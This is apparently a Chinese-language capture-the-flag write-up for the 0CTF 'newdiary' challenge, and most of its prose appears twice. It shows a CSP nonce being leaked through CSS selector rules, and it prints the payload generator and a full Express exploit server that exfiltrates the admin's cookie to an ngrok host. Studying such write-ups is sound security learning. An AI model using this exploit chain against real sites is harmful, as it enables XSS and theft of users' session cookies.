Open aszx87410 opened 4 months ago
今年的 0CTF 一共有三道 web 題,其中一道題目是 client-side 的,我就只解這題而已,順利拿到 first blood,這篇簡單記錄一下心得。
關鍵字列表:
題目就是個典型的 note app,可以建立筆記然後回報給 admin bot,筆記只有限制長度,並沒有做過濾,在 client 也是直接用 innerHTML,所以很明顯有 HTML injection:
load = () => { document.getElementById("title").innerHTML = "" document.getElementById("content").innerHTML = "" const param = new URLSearchParams(location.hash.slice(1)); const id = param.get('id'); let username = param.get('username'); if (id && /^[0-9a-f]+$/.test(id)) { if (username === null) { fetch(`/share/read/${id}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } else { fetch(`/share/read/${id}?username=${username}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } document.getElementById("report").href = `/report?id=${id}&username=${username}`; } window.removeEventListener('hashchange', load); } load(); window.addEventListener('hashchange', load);
這邊值得注意的一點是如果改變 hash 的話會載入新的 note,這點滿重要的。
而 CSP 的部份如下:
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">
每一個 response 都有不同的 nonce,長度為 32 位,每一個字元是 a-zA-Z0-9,有 36 種組合。CSS 的部分允許 inline 跟 unpkg,因為 unpkg 就只是去 npm 上拿,所以可以想成是允許任何的外部 style。
admin bot 的部份只能訪問 /share/read,訪問後會停留 30 秒,這個 timeout 應該滿明顯是要花時間 leak 什麼東西:
/share/read
await page.goto( `http://localhost/share/read#id=${id}&username=${username}`, { timeout: 5000 } ); await new Promise((resolve) => setTimeout(resolve, 30000)); await page.close();
對了,flag 在 cookie 裡面,所以目標是 XSS。
其實看完題目之後我覺得滿直覺的,很明顯要想辦法用 CSS 偷到 nonce,偷到 nonce 以後建立一個新的 note,然後改變 hash 去載入新的 note,就可以 XSS。
但有一些小細節要注意就是了,像是 admin bot 只能訪問某一個筆記,所以要先用 <meta> redirect 到自己的 server,再用 window.open 去打開新的筆記,這樣偷到 nonce 以後才能藉由改變 hash 去更新內容,確保 nonce 不會變。
<meta>
window.open
總之呢,流程如下:
<meta http-equiv="refresh" content="0;URL=https://my_server">
<style>@import "https://unpkg.com/pkg/steal.css"</style>
w = window.open(note_1)
<script nonce=xxx></script>
w.location = '.../share/read#id=2'
這之中最麻煩的部分就在於用 CSS 偷 nonce 了。
我以前剛好有研究過用 CSS 偷東西:用 CSS 來偷資料 - CSS injection(上),但裡面講到的做法其實這一題行不通。
由於 nonce 的可能性有太多種,所以一個字元一個字元偷是最快的方法,但這種做法要利用 @import 加上 blocking 的方式,這一題的外部連結只能到 unpkg,是靜態檔案,沒辦法。
@import
另一種做法剛好前陣子才看過但還沒更新到文章:Code Vulnerabilities Put Proton Mails at Risk
這做法滿聰明的,把一段字切成很多小字串,每個字串有三個字元,我們對 a-zA-Z0-9 做三個字的全排列組合,像這樣:
script[nonce*="aaa"]{--aaa:url("https://server/leak?q=aaa")} script[nonce*="aab"]{--aab:url("https://server/leak?q=aab")} ... script[nonce*="ZZZ"]{--ZZZ:url("https://server/leak?q=ZZZ")} script{ display: block; background-image: -webkit-cross-fade( var(--aaa, none), -webkit-cross-fade( var(--aab, none), var(--ZZZ, none), 50% ), 50% )
用 -webkit-cross-fade 是為了要載入多個圖片,細節可以參考上面貼的文章。
-webkit-cross-fade
例如說 nonce 是 abc123 好了,server 就會收到:
這四種字串,而順序可能會不一樣,但只要按照規則組合起來,就可以得到 abc123。當然,也有可能會有多種組合或是不確定頭尾的情形,但那就當作 edge case,重新再試一次就行了。
用這樣的方式偷 nocne,以這題來說會有 36^3 = 46656 個規則,是可以接受的長度。
剛好之前在工作上也碰到類似的情境,所以手邊已經有寫好的腳本了,改一下就可以用。
這題如果把全部規則都套在同一個元素上,似乎會因為規則太多之類的讓 Chrome 直接 crash(至少我本地是這樣),所以我就把規則分三份,順便套在三個不同元素。
const fs = require('fs') let chars = 'abcdefghijklmnopqrstuvwxyz0123456789' const host = 'https://ip.ngrok-free.app' let arr = [] for(let a of chars) { for(let b of chars) { for(let c of chars) { let str = a+b+c; arr.push(str) } } } let payload1 = '' let crossPayload1 = 'url("/")' let payload2 = '' let crossPayload2 = 'url("/")' let payload3 = '' let crossPayload3 = 'url("/")' const third = Math.floor(arr.length / 3); const arr1 = arr.slice(0, third); const arr2 = arr.slice(third, 2 * third); const arr3 = arr.slice(2 * third); for(let str of arr1) { payload1 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload1 = `-webkit-cross-fade(${crossPayload1}, var(--${str}, none), 50%)` } for(let str of arr2) { payload2 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload2 = `-webkit-cross-fade(${crossPayload2}, var(--${str}, none), 50%)` } for(let str of arr3) { payload3 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload3 = `-webkit-cross-fade(${crossPayload3}, var(--${str}, none), 50%)` } payload1 = `${payload1} script{display:block;} script{background-image: ${crossPayload1}}` payload2 = `${payload2}script:after{content:'a';display:block;background-image:${crossPayload2} }` payload3 = `${payload3}script:before{content:'a';display:block;background-image:${crossPayload3} }` fs.writeFileSync('exp1.css', payload1, 'utf-8'); fs.writeFileSync('exp2.css', payload2, 'utf-8'); fs.writeFileSync('exp3.css', payload3, 'utf-8');
接著把跑完的檔案發佈到 npm,就有一個 unpkg 的網址了。
寫得滿亂的有點懶得整理,但基本上跑起來以後訪問 /start 就會開始自動跑整個流程。
/start
這題因為運氣好之前就有看過那篇文章,所以開賽後半小時就大概知道怎麼解了,剩下兩小時都在寫 code 😆
import express from 'express' import {fetch, CookieJar} from "node-fetch-cookies"; const app = express() const port = 3000 const host = 'http://new-diary.ctf.0ops.sjtu.cn' const selfHost = 'https://ip.ngrok-free.app' const cssUrl = 'https://unpkg.com/your_pkg@1.0.0' const getRandomStr = len => Array(len).fill().map(_ => Math.floor(Math.random()*16).toString(16)).join('') let leaks = [] let cookieJar = new CookieJar(); let username = ''; let hasToken = false; function mergeWords(arr, ending) { if (arr.length === 0) return ending if (!ending) { for(let i=0; i<arr.length; i++) { let isFound = false for(let j=0; j<arr.length; j++) { if (i === j) continue let suffix = arr[i][1] + arr[i][2] let prefix = arr[j][0] + arr[j][1] if (suffix === prefix) { isFound = true continue } } if (!isFound) { console.log('ending:', arr[i]) return mergeWords(arr.filter(item => item!==arr[i]), arr[i]) } } console.log('Error, please try again') return } let found = [] for(let i=0; i<arr.length; i++) { let length = ending.length let suffix = ending[0] + ending[1] let prefix = arr[i][1] + arr[i][2] if (suffix === prefix) { found.push([arr.filter(item => item!==arr[i]), arr[i][0] + ending]) } } return found.map((item) => { return mergeWords(item[0], item[1]) }) } function handleLeak() { let str = '' let arr = [...leaks] leaks = [] console.log('received:', arr) const merged = mergeWords(arr, null); console.log('leaked:', merged.flat(99)) return merged.flat(99) } async function createNote(title, content){ return await fetch(cookieJar, host + '/write', { method: 'POST', headers: { 'content-type': 'application/x-www-form-urlencoded', }, body: `title=${encodeURIComponent(title)}&content=${encodeURIComponent(content)}` }) } async function getNotes() { return await fetch(cookieJar, host + '/', { }).then(res => res.text()) } async function share(id) { return await fetch(cookieJar, host + '/share_diary/' + id, { }).then(res => res.text()) } async function report(username, id) { return await fetch(cookieJar, `${host}/report?username=${username}&id=${id}` , { }).then(res => res.text()) } app.get('/', (req, res) => { res.send('Hello World!') }) app.get('/start', async (req, res) => { // create ccount username = getRandomStr(8) let password = getRandomStr(8) leaks = [] hasToken = false console.log({ username, password }) const response = await fetch(cookieJar, host + '/login', { method: 'post', headers: { 'content-type': 'application/x-www-form-urlencoded' }, body: `username=${username}&password=${password}` }) const resp = await createNote('note1', `<meta http-equiv="refresh" content="0;URL=${selfHost}/exp">`) await createNote('note2', `<style>@import "${cssUrl}/exp1.css";@import "${cssUrl}/exp2.css";@import "${cssUrl}/exp3.css";</style>`) console.log('done') await share(0) await share(1) console.log('report username:', username) console.log(await report(username, 0)) res.send('done') }) app.get('/leak', async (req, res) => { leaks.push(req.query.q) console.log('recevied:', req.query.q, leaks.length) if (leaks.length === 30) { const result = handleLeak() // create a new note await createNote( 'note3', result.map(nonce => `<iframe srcdoc="<script nonce=${nonce}>top.location='${selfHost}/flag?q='+encodeURIComponent(top.document.cookie)</script>"></iframe>`) ); await share(2) hasToken = true; console.log('note3 cteated') } res.send('ok') }) app.get('/flag', (req, res) => { console.log('flag', req.query.q) res.send('flag') }) app.get('/hasToken', (req, res) => { console.log('polling...', hasToken) if (hasToken) { res.send('hasToken') } else { res.send('no') } }) app.get('/exp', (req, res) => { console.log('visit exp') res.setHeader('content-type', 'text/html') res.send(` <script> let w = window.open('http://localhost/share/read#id=1&username=${username}') function polling() { fetch('/hasToken').then(res => res.text()).then((res) => { if (res === 'hasToken') { w.location = 'http://localhost/share/read#id=2&username=${username}' } }) setTimeout(() => { polling(); }, 500) } polling() </script> `) }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })
話說如果沒看過那篇文章的話,不確定自己是不是能想到這個解法 😅
今年的 0CTF 一共有三道 web 題,其中一道題目是 client-side 的,我就只解這題而已,順利拿到 first blood,這篇簡單記錄一下心得。
關鍵字列表:
Web - newdiary (14 solves)
題目就是個典型的 note app,可以建立筆記然後回報給 admin bot,筆記只有限制長度,並沒有做過濾,在 client 也是直接用 innerHTML,所以很明顯有 HTML injection:
這邊值得注意的一點是如果改變 hash 的話會載入新的 note,這點滿重要的。
而 CSP 的部份如下:
每一個 response 都有不同的 nonce,長度為 32 位,每一個字元是 a-zA-Z0-9,有 36 種組合。CSS 的部分允許 inline 跟 unpkg,因為 unpkg 就只是去 npm 上拿,所以可以想成是允許任何的外部 style。
admin bot 的部份只能訪問
/share/read
,訪問後會停留 30 秒,這個 timeout 應該滿明顯是要花時間 leak 什麼東西:對了,flag 在 cookie 裡面,所以目標是 XSS。
其實看完題目之後我覺得滿直覺的,很明顯要想辦法用 CSS 偷到 nonce,偷到 nonce 以後建立一個新的 note,然後改變 hash 去載入新的 note,就可以 XSS。
但有一些小細節要注意就是了,像是 admin bot 只能訪問某一個筆記,所以要先用
<meta>
redirect 到自己的 server,再用window.open
去打開新的筆記,這樣偷到 nonce 以後才能藉由改變 hash 去更新內容,確保 nonce 不會變。總之呢,流程如下:
<meta http-equiv="refresh" content="0;URL=https://my_server">
,id 是 0<style>@import "https://unpkg.com/pkg/steal.css"</style>
,id 是 1w = window.open(note_1)
,開始偷 nonce<script nonce=xxx></script>
,id 為 2w.location = '.../share/read#id=2'
這之中最麻煩的部分就在於用 CSS 偷 nonce 了。
用 CSS 偷 nonce
我以前剛好有研究過用 CSS 偷東西:用 CSS 來偷資料 - CSS injection(上),但裡面講到的做法其實這一題行不通。
由於 nonce 的可能性有太多種,所以一個字元一個字元偷是最快的方法,但這種做法要利用
@import
加上 blocking 的方式,這一題的外部連結只能到 unpkg,是靜態檔案,沒辦法。另一種做法剛好前陣子才看過但還沒更新到文章:Code Vulnerabilities Put Proton Mails at Risk
這做法滿聰明的,把一段字切成很多小字串,每個字串有三個字元,我們對 a-zA-Z0-9 做三個字的全排列組合,像這樣:
用
-webkit-cross-fade
是為了要載入多個圖片,細節可以參考上面貼的文章。例如說 nonce 是 abc123 好了,server 就會收到:
這四種字串,而順序可能會不一樣,但只要按照規則組合起來,就可以得到 abc123。當然,也有可能會有多種組合或是不確定頭尾的情形,但那就當作 edge case,重新再試一次就行了。
用這樣的方式偷 nocne,以這題來說會有 36^3 = 46656 個規則,是可以接受的長度。
產生 CSS
剛好之前在工作上也碰到類似的情境,所以手邊已經有寫好的腳本了,改一下就可以用。
這題如果把全部規則都套在同一個元素上,似乎會因為規則太多之類的讓 Chrome 直接 crash(至少我本地是這樣),所以我就把規則分三份,順便套在三個不同元素。
接著把跑完的檔案發佈到 npm,就有一個 unpkg 的網址了。
Exploit
寫得滿亂的有點懶得整理,但基本上跑起來以後訪問
/start
就會開始自動跑整個流程。這題因為運氣好之前就有看過那篇文章,所以開賽後半小時就大概知道怎麼解了,剩下兩小時都在寫 code 😆
話說如果沒看過那篇文章的話,不確定自己是不是能想到這個解法 😅